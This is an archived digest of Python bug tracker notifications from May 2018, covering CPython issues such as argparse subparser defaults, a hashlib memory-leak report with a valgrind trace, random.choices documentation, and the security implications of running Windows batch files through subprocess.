_______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 16:10:00 2018 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 15 May 2018 20:10:00 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1526412603.81.0.682650639539.issue32769@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: Your phrasing still makes it sound like an annotation is a runtime concept -- I think of it as a syntactic construct. (Otherwise fine.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 16:10:54 2018 From: report at bugs.python.org (R. David Murray) Date: Tue, 15 May 2018 20:10:54 +0000 Subject: [issue33520] ast.Tuple has wrong col_offset In-Reply-To: <1526397382.35.0.682650639539.issue33520@psf.upfronthosting.co.za> Message-ID: <1526415054.88.0.682650639539.issue33520@psf.upfronthosting.co.za> R. David Murray added the comment: Oh, and the empty tuple is a specific syntactic construct that really is the empty parenthesis, so that's consistent with the language definition. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 16:17:31 2018 From: report at bugs.python.org (Eryk Sun) Date: Tue, 15 May 2018 20:17:31 +0000 Subject: [issue33515] subprocess.Popen on a Windows batch file always acts as if shell=True In-Reply-To: <1526382091.26.0.682650639539.issue33515@psf.upfronthosting.co.za> Message-ID: <1526415451.46.0.682650639539.issue33515@psf.upfronthosting.co.za> Eryk Sun added the comment: There's no simple workaround for this behavior. All we can reasonably do is document that running a batch script directly has the same security risks as using shell=True. CMD doesn't support a file argument. It only supports running a /c or /k command, which can include running multiple commands joined by the &, &&, or || operators. CreateProcess thus executes a .bat or .cmd script by prepending "%ComSpec% /c" to the command line. If %ComSpec% isn't defined, it defaults to "%SystemRoot%\System32\cmd.exe /c". Environment variables in a command can be escaped in most cases by inserting the "^" escape character after the first "%" character. This disrupts matching the variable name (unless a variable name happens to start with "^"). The escape character itself gets skipped as long as it isn't quoted literally. ---------- assignee: -> docs at python components: +Documentation keywords: +security_issue nosy: +docs at python, eryksun stage: -> needs patch versions: +Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 16:20:03 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 15 May 2018 20:20:03 +0000 Subject: [issue32604] Expose the subinterpreters C-API in Python for testing use. In-Reply-To: <1516413482.13.0.467229070634.issue32604@psf.upfronthosting.co.za> Message-ID: <1526415603.82.0.682650639539.issue32604@psf.upfronthosting.co.za> Ned Deily added the comment: As agreed upon at the PyCon dev sprints, 6bd0c476c58ca0046969f70dc2a4e4dfb3268062 removes _xxsubinterpreters from the 3.7 branch and 3.7.0 and retargets for 3.8. Since it was intended for internal use, no user documentation or APIs should be affected. ---------- priority: deferred blocker -> versions: -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 16:25:42 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 15 May 2018 20:25:42 +0000 Subject: [issue32257] Support Disabling Renegotiation for SSLContext In-Reply-To: <1512801503.1.0.213398074469.issue32257@psf.upfronthosting.co.za> Message-ID: <1526415942.39.0.682650639539.issue32257@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset 67c48016638aac9a15afe6fd6754d53d2bdd6b76 by Ned Deily (Christian Heimes) in branch 'master': bpo-32257: Add ssl.OP_NO_RENEGOTIATION (GH-5904) https://github.com/python/cpython/commit/67c48016638aac9a15afe6fd6754d53d2bdd6b76 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 16:26:48 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 15 May 2018 20:26:48 +0000 Subject: [issue31453] Debian Sid/Buster: Cannot enable TLS 1.0/1.1 with PROTOCOL_TLS In-Reply-To: <1505317705.14.0.640405907228.issue31453@psf.upfronthosting.co.za> Message-ID: <1526416008.98.0.682650639539.issue31453@psf.upfronthosting.co.za> Change by Ned Deily : ---------- versions: +Python 2.7, Python 3.6 -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 16:26:50 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 15 May 2018 20:26:50 +0000 Subject: [issue32257] Support Disabling Renegotiation for SSLContext In-Reply-To: <1512801503.1.0.213398074469.issue32257@psf.upfronthosting.co.za> Message-ID: <1526416010.75.0.682650639539.issue32257@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6549 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 16:32:55 2018 From: report at bugs.python.org (John Reese) Date: Tue, 15 May 2018 20:32:55 +0000 Subject: [issue33496] Accept Pathlib paths for sqlite file In-Reply-To: <1526307862.09.0.682650639539.issue33496@psf.upfronthosting.co.za> Message-ID: <1526416375.79.0.682650639539.issue33496@psf.upfronthosting.co.za> John Reese added the comment: Looks like this is already changed for 3.7: see commit a22a127458 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 16:41:21 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 15 May 2018 20:41:21 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1526416881.48.0.682650639539.issue33109@psf.upfronthosting.co.za> Gregory P. Smith added the comment: If the behavior was consistent from 3.3 through 3.6, that is the behavior we should keep going forward in 3.7+ without a deprecation period. (and this does not seem worth deprecating, lets just keep the behavior the same as it was in 3.3-3.6) That 2.7 is different than >=3.3 here isn't important. There are a lot of things that have conditional behavior differences when using 2 and over time that is becoming increasingly irrelevant. Libraries often keep compatibility with both 2.7 and 3.4+ today, but it is less common for a command line tool entry point to need to be compatible with both. ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 16:46:39 2018 From: report at bugs.python.org (Anthony Sottile) Date: Tue, 15 May 2018 20:46:39 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1526417199.64.0.682650639539.issue33109@psf.upfronthosting.co.za> Anthony Sottile added the comment: According to the other bugs, the change in 3.3 was an inadvertent regression. The fact that it didn't get fixed for so long is mostly due to the unmaintained state of argparse in the stdlib. The change in behaviour here is the _fix_ of that regression. Consistency with the rest of the framework to me feels pretty important. subparsers are positional arguments and positional arguments by default are required. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 16:48:16 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 15 May 2018 20:48:16 +0000 Subject: [issue29706] IDLE needs syntax highlighting for async and await In-Reply-To: <1488512637.52.0.156111675331.issue29706@psf.upfronthosting.co.za> Message-ID: <1526417296.69.0.682650639539.issue29706@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 7c59a33491b0bde639a9382ef1de2423207a8cc7 by Miss Islington (bot) in branch '3.6': bpo-29706: Test that IDLE colors async/await as keywords. (GH-6846) https://github.com/python/cpython/commit/7c59a33491b0bde639a9382ef1de2423207a8cc7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 16:49:31 2018 From: report at bugs.python.org (Alexander Mohr) Date: Tue, 15 May 2018 20:49:31 +0000 Subject: [issue33526] hashlib leak on import Message-ID: <1526417371.88.0.682650639539.issue33526@psf.upfronthosting.co.za> New submission from Alexander Mohr : I'm seeing a lot of leaks via valgrind against the hashlib module. It appears that it's calling OpenSSL_add_all_digests(); on init, and never calling the corresponding EVP_Cleanup on free: https://www.openssl.org/docs/man1.1.0/crypto/OpenSSL_add_all_digests.html. I see a ton of leaks like the following: ==27765== 24 bytes in 1 blocks are still reachable in loss record 13 of 10,294 ==27765== at 0x4C28C7B: malloc (vg_replace_malloc.c:299) ==27765== by 0xA92E337: CRYPTO_malloc (in /usr/lib64/libcrypto.so.1.0.2k) ==27765== by 0xA9E325A: lh_insert (in /usr/lib64/libcrypto.so.1.0.2k) ==27765== by 0xA93103E: OBJ_NAME_add (in /usr/lib64/libcrypto.so.1.0.2k) ==27765== by 0xA9F3559: OpenSSL_add_all_digests (in /usr/lib64/libcrypto.so.1.0.2k) ==27765== by 0xA44CF02: PyInit__hashlib (_hashopenssl.c:998) ==27765== by 0x506E627: _PyImport_LoadDynamicModuleWithSpec (importdl.c:154) ==27765== by 0x506DBA7: _imp_create_dynamic_impl (import.c:2008) ==27765== by 0x5067A2A: _imp_create_dynamic (import.c.h:289) ==27765== by 0x4F3061A: PyCFunction_Call (methodobject.c:114) ==27765== by 0x503E10C: do_call_core (ceval.c:5074) ==27765== by 0x5035F30: _PyEval_EvalFrameDefault (ceval.c:3377) ==27765== by 0x502280F: PyEval_EvalFrameEx (ceval.c:718) ==27765== by 0x503A944: _PyEval_EvalCodeWithName (ceval.c:4139) ==27765== by 0x503DA4D: fast_function (ceval.c:4950) ==27765== by 0x503D3FC: call_function (ceval.c:4830) ==27765== by 0x5035563: _PyEval_EvalFrameDefault (ceval.c:3295) ==27765== by 0x502280F: PyEval_EvalFrameEx (ceval.c:718) ==27765== by 0x503D70D: _PyFunction_FastCall (ceval.c:4891) ==27765== by 0x503D922: fast_function (ceval.c:4926) ==27765== by 0x503D3FC: call_function (ceval.c:4830) ==27765== by 0x5035563: _PyEval_EvalFrameDefault (ceval.c:3295) ==27765== by 0x502280F: PyEval_EvalFrameEx (ceval.c:718) ==27765== by 0x503D70D: _PyFunction_FastCall (ceval.c:4891) ==27765== by 0x503D922: fast_function (ceval.c:4926) ==27765== by 0x503D3FC: call_function (ceval.c:4830) ==27765== by 0x5035563: _PyEval_EvalFrameDefault (ceval.c:3295) ==27765== by 0x502280F: PyEval_EvalFrameEx (ceval.c:718) ==27765== by 0x503D70D: _PyFunction_FastCall (ceval.c:4891) ==27765== by 0x503D922: fast_function (ceval.c:4926) ==27765== by 0x503D3FC: call_function (ceval.c:4830) ==27765== by 0x5035563: _PyEval_EvalFrameDefault (ceval.c:3295) ==27765== by 0x502280F: PyEval_EvalFrameEx (ceval.c:718) ==27765== by 0x503D70D: _PyFunction_FastCall (ceval.c:4891) ==27765== by 0x503D922: fast_function (ceval.c:4926) I'm not exactly sure how this is happening yet (I know the code I use does a __import__ and uses multiple threads). It sounds like this call should be ref-counted or perhaps only done once for the life of the application. ---------- components: Extension Modules messages: 316723 nosy: thehesiod priority: normal severity: normal status: open title: hashlib leak on import type: resource usage versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 16:54:50 2018 From: report at bugs.python.org (John Reese) Date: Tue, 15 May 2018 20:54:50 +0000 Subject: [issue33428] pathlib.Path.glob does not follow symlinks In-Reply-To: <1525501380.69.0.682650639539.issue33428@psf.upfronthosting.co.za> Message-ID: <1526417690.32.0.682650639539.issue33428@psf.upfronthosting.co.za> John Reese added the comment: This looks like an issue specific to Windows? I can't replicate on Mac, and given Windows' method of implementing "symlinks" as junctions. ---------- nosy: +jreese _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 16:56:10 2018 From: report at bugs.python.org (gasokiw) Date: Tue, 15 May 2018 20:56:10 +0000 Subject: [issue33527] Invalid child function scope Message-ID: <1526417770.88.0.682650639539.issue33527@psf.upfronthosting.co.za> New submission from gasokiw : When you try to reassign variable with same name as one of parameters/arguments of parent function to local scope in child function, even if it doesn't actually get ran, the argument/parameter is not passed to child function anymore. In practice this happens when you make decorator with arguments/parameters and make wrapper function inside it. As workaround you can redeclare those arguments/parameters in new variables in parent function then rewrite them back in child function. ( as seen in child_function_scope_bodge.py ) Please view attachment to better understand the issue. ---------- files: example and workaround.zip messages: 316725 nosy: gasokiw priority: normal severity: normal status: open title: Invalid child function scope type: behavior versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6 Added file: https://bugs.python.org/file47594/example and workaround.zip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 16:56:30 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 15 May 2018 20:56:30 +0000 Subject: [issue33509] warnings.warn_explicit with module_globals=True raises a SystemError In-Reply-To: <1526332146.43.0.682650639539.issue33509@psf.upfronthosting.co.za> Message-ID: <1526417790.72.0.682650639539.issue33509@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 820219f7867f2bbfe0ac4d4f0d1ea1fdef7795a9 by Miss Islington (bot) in branch '3.7': bpo-33509: Fix _warnings for module_globals=None (GH-6833) https://github.com/python/cpython/commit/820219f7867f2bbfe0ac4d4f0d1ea1fdef7795a9 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 16:56:58 2018 From: report at bugs.python.org (Paul Czyzewski) Date: Tue, 15 May 2018 20:56:58 +0000 Subject: [issue33494] random.choices ought to check that cumulative weights are in ascending order In-Reply-To: <1526297798.91.0.682650639539.issue33494@psf.upfronthosting.co.za> Message-ID: <1526417818.58.0.682650639539.issue33494@psf.upfronthosting.co.za> Paul Czyzewski added the comment: btw, this was my suggestion. Steven opened the issue on my behalf (I'm new). 1) Documentation change. I would suggest that, to this paragraph: "If neither weights nor cum_weights are specified, selections are made with equal probability. If a weights sequence is supplied, it must be the same length as the population sequence. It is a TypeError to specify both weights and cum_weights." The following sentence be added: "A cum_weights sequence, if supplied, must be in strictly-ascending order, else incorrect results will be (silently) returned." [BTW, in the current documentation, when I read this sentence: :For example, the relative weights [10, 5, 30, 5] are equivalent to the cumulative weights [10, 15, 45, 50]," it wasn't clear to me that this was the format of the cum_weights *argument*. I thought that this conversion happened internally. So, I'd prefer that something more explicit be stated (especially the part about silently giving bad results).] 2) I'm giving up on suggesting a code change. However, I'll just respond that a) I believe that the big win of the cum_weights option is for people who already have the sequence in that form, rather than that they will save the O(n) cost of having the list built. b) If I have big list, but also an other-than-tiny k value (eg, k=100), then the time (with the change) would be 400 time the O(log n) plus one times O(n), so this may or may not be significant. c) I agree that, if someone did, eg, 400 *separate* calls, each with k=1, the cost would be higher. This seems unlikely to me but... thanks Paul Czyzewski ---------- nosy: +PaulSFO _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:03:02 2018 From: report at bugs.python.org (Paul Czyzewski) Date: Tue, 15 May 2018 21:03:02 +0000 Subject: [issue33494] random.choices ought to check that cumulative weights are in ascending order In-Reply-To: <1526297798.91.0.682650639539.issue33494@psf.upfronthosting.co.za> Message-ID: <1526418182.89.0.682650639539.issue33494@psf.upfronthosting.co.za> Paul Czyzewski added the comment: oops, if "k=400" ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:06:57 2018 From: report at bugs.python.org (Roundup Robot) Date: Tue, 15 May 2018 21:06:57 +0000 Subject: [issue28287] Refactor subprocess.Popen to let a subclass handle IO asynchronously In-Reply-To: <1474986403.83.0.165864194914.issue28287@psf.upfronthosting.co.za> Message-ID: <1526418417.32.0.682650639539.issue28287@psf.upfronthosting.co.za> Change by Roundup Robot : ---------- pull_requests: +6550 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:11:10 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 15 May 2018 21:11:10 +0000 Subject: [issue29706] IDLE needs syntax highlighting for async and await In-Reply-To: <1488512637.52.0.156111675331.issue29706@psf.upfronthosting.co.za> Message-ID: <1526418670.67.0.682650639539.issue29706@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- pull_requests: +6551 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:16:11 2018 From: report at bugs.python.org (Paul Czyzewski) Date: Tue, 15 May 2018 21:16:11 +0000 Subject: [issue33494] random.choices ought to check that cumulative weights are in ascending order In-Reply-To: <1526297798.91.0.682650639539.issue33494@psf.upfronthosting.co.za> Message-ID: <1526418971.74.0.682650639539.issue33494@psf.upfronthosting.co.za> Paul Czyzewski added the comment: or, for a minimal doc change, change this sentence: "For example, the relative weights [10, 5, 30, 5] are equivalent to the cumulative weights [10, 15, 45, 50]," to: "For example, the relative call 'weights[10, 5, 30, 5]' is equivalent to the cumulative call 'cum_weights[10, 15, 45, 50]'," ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:20:17 2018 From: report at bugs.python.org (Jimmy Lai) Date: Tue, 15 May 2018 21:20:17 +0000 Subject: [issue33521] Add 1.32x faster C implementation of asyncio.isfuture(). In-Reply-To: <1526398292.34.0.682650639539.issue33521@psf.upfronthosting.co.za> Message-ID: <1526419217.23.0.682650639539.issue33521@psf.upfronthosting.co.za> Change by Jimmy Lai : ---------- keywords: +patch pull_requests: +6552 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:20:58 2018 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 15 May 2018 21:20:58 +0000 Subject: [issue32374] Document that m_traverse for multi-phase initialized modules can be called with m_state=NULL In-Reply-To: <1513694438.46.0.213398074469.issue32374@psf.upfronthosting.co.za> Message-ID: <1526419258.2.0.682650639539.issue32374@psf.upfronthosting.co.za> Change by Petr Viktorin : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:22:39 2018 From: report at bugs.python.org (R. David Murray) Date: Tue, 15 May 2018 21:22:39 +0000 Subject: [issue33527] Invalid child function scope In-Reply-To: <1526417770.88.0.682650639539.issue33527@psf.upfronthosting.co.za> Message-ID: <1526419359.76.0.682650639539.issue33527@psf.upfronthosting.co.za> R. David Murray added the comment: Please post an example, and not a zip file. Given your description (which indeed is not enough to understand what you think the problem is by itself), I think you should be able to post a few lines of python code into the issue in order to explain what you see as the problem. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:24:29 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Tue, 15 May 2018 21:24:29 +0000 Subject: [issue33465] test_from_import_missing_attr_has_name_and_so_path fails when select is a builtin instead of an extension In-Reply-To: <1526054824.37.0.682650639539.issue33465@psf.upfronthosting.co.za> Message-ID: <1526419469.6.0.682650639539.issue33465@psf.upfronthosting.co.za> Barry A. Warsaw added the comment: New changeset 2cdb70ac5df30db021417ab71a327d9b4322de13 by Barry Warsaw (Miss Islington (bot)) in branch '3.7': bpo-33465: Use an unlikely to be built-in C extension in a test (GH-6797) (#6869) https://github.com/python/cpython/commit/2cdb70ac5df30db021417ab71a327d9b4322de13 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:24:46 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Tue, 15 May 2018 21:24:46 +0000 Subject: [issue33465] test_from_import_missing_attr_has_name_and_so_path fails when select is a builtin instead of an extension In-Reply-To: <1526054824.37.0.682650639539.issue33465@psf.upfronthosting.co.za> Message-ID: <1526419486.29.0.682650639539.issue33465@psf.upfronthosting.co.za> Change by Barry A. Warsaw : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:30:35 2018 From: report at bugs.python.org (Eitan Adler) Date: Tue, 15 May 2018 21:30:35 +0000 Subject: [issue1222585] C++ compilation support for distutils Message-ID: <1526419835.6.0.682650639539.issue1222585@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- nosy: +eitan.adler _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:30:37 2018 From: report at bugs.python.org (Eitan Adler) Date: Tue, 15 May 2018 21:30:37 +0000 Subject: [issue9031] distutils uses invalid "-Wstrict-prototypes" flag when compiling C++ extension module In-Reply-To: <1276891952.43.0.0434978352487.issue9031@psf.upfronthosting.co.za> Message-ID: <1526419837.45.0.682650639539.issue9031@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- nosy: +eitan.adler _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:30:41 2018 From: report at bugs.python.org (Eitan Adler) Date: Tue, 15 May 2018 21:30:41 +0000 Subject: [issue5755] "-Wstrict-prototypes" is valid for Ada/C/ObjC but not for C++" In-Reply-To: <1239729771.84.0.97828652099.issue5755@psf.upfronthosting.co.za> Message-ID: <1526419841.69.0.682650639539.issue5755@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- nosy: +eitan.adler _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:31:38 2018 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 15 May 2018 21:31:38 +0000 Subject: [issue32551] Zipfile & directory execution in 3.5.4 also adds the parent directory to sys.path In-Reply-To: <1515945237.21.0.467229070634.issue32551@psf.upfronthosting.co.za> Message-ID: <1526419898.94.0.682650639539.issue32551@psf.upfronthosting.co.za> Change by Petr Viktorin : ---------- resolution: -> fixed stage: commit review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:32:34 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 15 May 2018 21:32:34 +0000 Subject: [issue33522] Enable CI builds on Visual Studio Team Services In-Reply-To: <1526400954.34.0.682650639539.issue33522@psf.upfronthosting.co.za> Message-ID: <1526419954.16.0.682650639539.issue33522@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Can you explain what Visual Studio Team Services is? ---------- nosy: +pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:36:52 2018 From: report at bugs.python.org (John Reese) Date: Tue, 15 May 2018 21:36:52 +0000 Subject: [issue33516] unittest.mock: Add __round__ to supported magicmock methods In-Reply-To: <1526384892.72.0.682650639539.issue33516@psf.upfronthosting.co.za> Message-ID: <1526420212.99.0.682650639539.issue33516@psf.upfronthosting.co.za> Change by John Reese : ---------- keywords: +patch pull_requests: +6553 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:37:15 2018 From: report at bugs.python.org (Eitan Adler) Date: Tue, 15 May 2018 21:37:15 +0000 Subject: [issue5755] "-Wstrict-prototypes" is valid for Ada/C/ObjC but not for C++" In-Reply-To: <1239729771.84.0.97828652099.issue5755@psf.upfronthosting.co.za> Message-ID: <1526420235.13.0.682650639539.issue5755@psf.upfronthosting.co.za> Eitan Adler added the comment: copying and adapting my comments on the PR: Strict Prototypes is correct and helpful for C. That said, the way it is currently implemented, by checking for the compiler in CC is sub-optimal at best. CC ought to always be a C compiler, and never a C++ compiler. It also seems questionable that distutils is using the python cflags rather than a dedicated set. The best fix is a separate and specific list of flags for distutils rather than modifying the set of flags used to build python. That said, the current implementing of flags for python isn't great, so lets remove it as a short term fix. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:38:11 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 15 May 2018 21:38:11 +0000 Subject: [issue33526] hashlib leak on import In-Reply-To: <1526417371.88.0.682650639539.issue33526@psf.upfronthosting.co.za> Message-ID: <1526420291.85.0.682650639539.issue33526@psf.upfronthosting.co.za> Change by Antoine Pitrou : ---------- nosy: +christian.heimes, gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:39:06 2018 From: report at bugs.python.org (Eric Snow) Date: Tue, 15 May 2018 21:39:06 +0000 Subject: [issue33454] Mismatched C function signature in _xxsubinterpreters.channel_close() In-Reply-To: <1525947476.64.0.682650639539.issue33454@psf.upfronthosting.co.za> Message-ID: <1526420346.92.0.682650639539.issue33454@psf.upfronthosting.co.za> Eric Snow added the comment: Thanks for catching this, Serhiy! I've approved the PR. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:41:27 2018 From: report at bugs.python.org (Eric Snow) Date: Tue, 15 May 2018 21:41:27 +0000 Subject: [issue32414] PyCapsule_Import fails when name is in the form 'package.module.capsule' In-Reply-To: <1514022429.41.0.213398074469.issue32414@psf.upfronthosting.co.za> Message-ID: <1526420487.27.0.682650639539.issue32414@psf.upfronthosting.co.za> Eric Snow added the comment: +1 on using ":" as the separator. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:41:48 2018 From: report at bugs.python.org (Christian Heimes) Date: Tue, 15 May 2018 21:41:48 +0000 Subject: [issue33526] hashlib leak on import In-Reply-To: <1526417371.88.0.682650639539.issue33526@psf.upfronthosting.co.za> Message-ID: <1526420508.6.0.682650639539.issue33526@psf.upfronthosting.co.za> Change by Christian Heimes : ---------- nosy: +petr.viktorin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:41:59 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 15 May 2018 21:41:59 +0000 Subject: [issue30928] Copy modified blurbs to idlelib/NEWS.txt for 3.7.0 In-Reply-To: <1500004288.4.0.547702885246.issue30928@psf.upfronthosting.co.za> Message-ID: <1526420519.86.0.682650639539.issue30928@psf.upfronthosting.co.za> Terry J. Reedy added the comment: New changeset 038b21f2caaed0f02fee524277cc61e2c6ae0e9a by Terry Jan Reedy in branch 'master': bpo-30928: Update idlelib/NEWS.txt to 2018-05-14. (#6873) https://github.com/python/cpython/commit/038b21f2caaed0f02fee524277cc61e2c6ae0e9a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:43:09 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 15 May 2018 21:43:09 +0000 Subject: [issue30928] Copy modified blurbs to idlelib/NEWS.txt for 3.7.0 In-Reply-To: <1500004288.4.0.547702885246.issue30928@psf.upfronthosting.co.za> Message-ID: <1526420589.07.0.682650639539.issue30928@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6554 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:44:08 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 15 May 2018 21:44:08 +0000 Subject: [issue30928] Copy modified blurbs to idlelib/NEWS.txt for 3.7.0 In-Reply-To: <1500004288.4.0.547702885246.issue30928@psf.upfronthosting.co.za> Message-ID: <1526420648.62.0.682650639539.issue30928@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6555 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:45:51 2018 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 15 May 2018 21:45:51 +0000 Subject: [issue33499] Environment variable to set alternate location for pycache tree In-Reply-To: <1526310769.71.0.682650639539.issue33499@psf.upfronthosting.co.za> Message-ID: <1526420751.01.0.682650639539.issue33499@psf.upfronthosting.co.za> Change by ?ukasz Langa : ---------- versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:47:29 2018 From: report at bugs.python.org (Christian Heimes) Date: Tue, 15 May 2018 21:47:29 +0000 Subject: [issue33526] hashlib leak on import In-Reply-To: <1526417371.88.0.682650639539.issue33526@psf.upfronthosting.co.za> Message-ID: <1526420849.17.0.682650639539.issue33526@psf.upfronthosting.co.za> Christian Heimes added the comment: Thanks for notifying us. There isn't much we can do here. Python doesn't support unloading of C extension modules. The state will persist until the process ends. It doesn't make much sense to call EVP_cleanup() on shutdown, too. It will just slow down shutdown. The memory is freed anyway once the process has terminated. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:51:22 2018 From: report at bugs.python.org (Alexander Mohr) Date: Tue, 15 May 2018 21:51:22 +0000 Subject: [issue33526] hashlib leak on import In-Reply-To: <1526417371.88.0.682650639539.issue33526@psf.upfronthosting.co.za> Message-ID: <1526421082.21.0.682650639539.issue33526@psf.upfronthosting.co.za> Alexander Mohr added the comment: closing as I'm not quite sure this is right ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:55:17 2018 From: report at bugs.python.org (Roundup Robot) Date: Tue, 15 May 2018 21:55:17 +0000 Subject: [issue21475] Support the Sitemap extension in robotparser In-Reply-To: <1399858557.27.0.633505879036.issue21475@psf.upfronthosting.co.za> Message-ID: <1526421317.21.0.682650639539.issue21475@psf.upfronthosting.co.za> Change by Roundup Robot : ---------- pull_requests: +6556 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 17:56:07 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Tue, 15 May 2018 21:56:07 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1526421367.89.0.682650639539.issue32769@psf.upfronthosting.co.za> Andr?s Delfino added the comment: Guido, could you point out what parts make it sound that way to you so I can change them? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 18:06:35 2018 From: report at bugs.python.org (Lady Red) Date: Tue, 15 May 2018 22:06:35 +0000 Subject: [issue21475] Support the Sitemap extension in robotparser In-Reply-To: <1399858557.27.0.633505879036.issue21475@psf.upfronthosting.co.za> Message-ID: <1526421995.52.0.682650639539.issue21475@psf.upfronthosting.co.za> Lady Red added the comment: I wrote a test for this as it seems to have been abandoned, and opened a PR. https://github.com/python/cpython/pull/6878 ---------- nosy: +mcscope at gmail.com _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 18:08:11 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 15 May 2018 22:08:11 +0000 Subject: [issue33454] Mismatched C function signature in _xxsubinterpreters.channel_close() In-Reply-To: <1525947476.64.0.682650639539.issue33454@psf.upfronthosting.co.za> Message-ID: <1526422091.89.0.682650639539.issue33454@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset d8dcd57edb88ce57063e5c2b85fe0ee1abb1ce8b by Serhiy Storchaka in branch 'master': bpo-33454: Fix arguments parsing in _xxsubinterpreters.channel_close(). 